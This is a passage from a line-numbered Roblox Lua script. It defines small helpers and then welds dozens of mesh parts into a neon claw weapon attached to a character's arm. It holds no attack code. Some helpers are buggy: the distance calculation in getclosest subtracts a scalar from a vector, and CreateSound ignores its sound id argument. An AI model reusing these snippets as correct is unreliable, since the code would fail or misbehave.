763 | end | |
764 | ||
765 | CreateSound = function(id, par, vol, pit) | |
766 | ||
767 | coroutine.resume(coroutine.create(function() | |
768 | ||
769 | local sou = Instance.new("Sound", par or workspace) | |
770 | sou.Volume = vol | |
771 | sou.Pitch = pit or 1 | |
772 | sou.SoundId = 392759567 | |
773 | swait() | |
774 | sou:play() | |
775 | game:GetService("Debris"):AddItem(sou, 6) | |
776 | end | |
777 | )) | |
778 | end | |
779 | ||
780 | local getclosest = function(obj, distance) | |
781 | ||
782 | local last, lastx = distance + 1, nil | |
783 | for i,v in pairs(workspace:GetChildren()) do | |
784 | if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then | |
785 | local t = v.Torso | |
786 | local dist = t.Position - obj.Position.magnitude | |
787 | if dist <= distance and dist < last then | |
788 | last = dist | |
789 | lastx = v | |
790 | end | |
791 | end | |
792 | end | |
793 | return lastx | |
794 | end | |
795 | ||
796 | CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size) | |
797 | ||
798 | if PartType == "Part" then | |
799 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
800 | RemoveOutlines(Part) | |
801 | return Part | |
802 | else | |
803 | do | |
804 | if PartType == "WedgePart" then | |
805 | local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
806 | RemoveOutlines(Part) | |
807 | return Part | |
808 | end | |
809 | end | |
810 | end | |
811 | end | |
812 | ||
813 | Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1)) | |
814 | HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
815 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
816 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0)) | |
817 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006)) | |
818 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
819 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365)) | |
820 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
821 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
822 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0)) | |
823 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001)) | |
824 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
825 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721)) | |
826 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
827 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
828 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975)) | |
829 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
830 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
831 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979)) | |
832 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
833 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
834 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
835 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999)) | |
836 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
837 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1)) | |
838 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
839 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566)) | |
840 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1)) | |
841 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
842 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
843 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1)) | |
844 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
845 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566)) | |
846 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1)) | |
847 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
848 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
849 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
850 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999)) | |
851 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
852 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1)) | |
853 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999)) | |
854 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566)) | |
855 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
856 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
857 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983)) | |
858 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
859 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
860 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
861 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
862 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999)) | |
863 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
864 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
865 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
866 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
867 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352)) | |
868 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
869 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
870 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
871 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
872 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
873 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0)) | |
874 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
875 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
876 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
877 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
878 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
879 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
880 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
881 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566)) | |
882 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
883 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
884 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763)) | |
885 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
886 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
887 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
888 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
889 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
890 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
891 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
892 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
893 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566)) | |
894 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
895 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
896 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
897 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)) | |
898 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
899 | Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "White", "Part", Vector3.new(1, 1, 1)) | |
900 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0)) | |
901 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001)) | |
902 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
903 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0)) | |
904 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
905 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763)) | |
906 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
907 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
908 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
909 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
910 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
911 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
912 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
913 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
914 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566)) | |
915 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
916 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
917 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
918 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
919 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
920 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009)) | |
921 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0)) | |
922 | CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788)) | |
923 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
924 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829)) | |
925 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
926 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
927 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
928 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788)) | |
929 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009)) | |
930 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
931 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
932 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837)) | |
933 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
934 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1)) | |
935 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009)) | |
936 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
937 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
938 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
939 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
940 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
941 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
942 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352)) | |
943 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
944 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
945 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
946 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
947 | MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
948 | MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178)) | |
949 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
950 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852)) | |
951 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
952 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
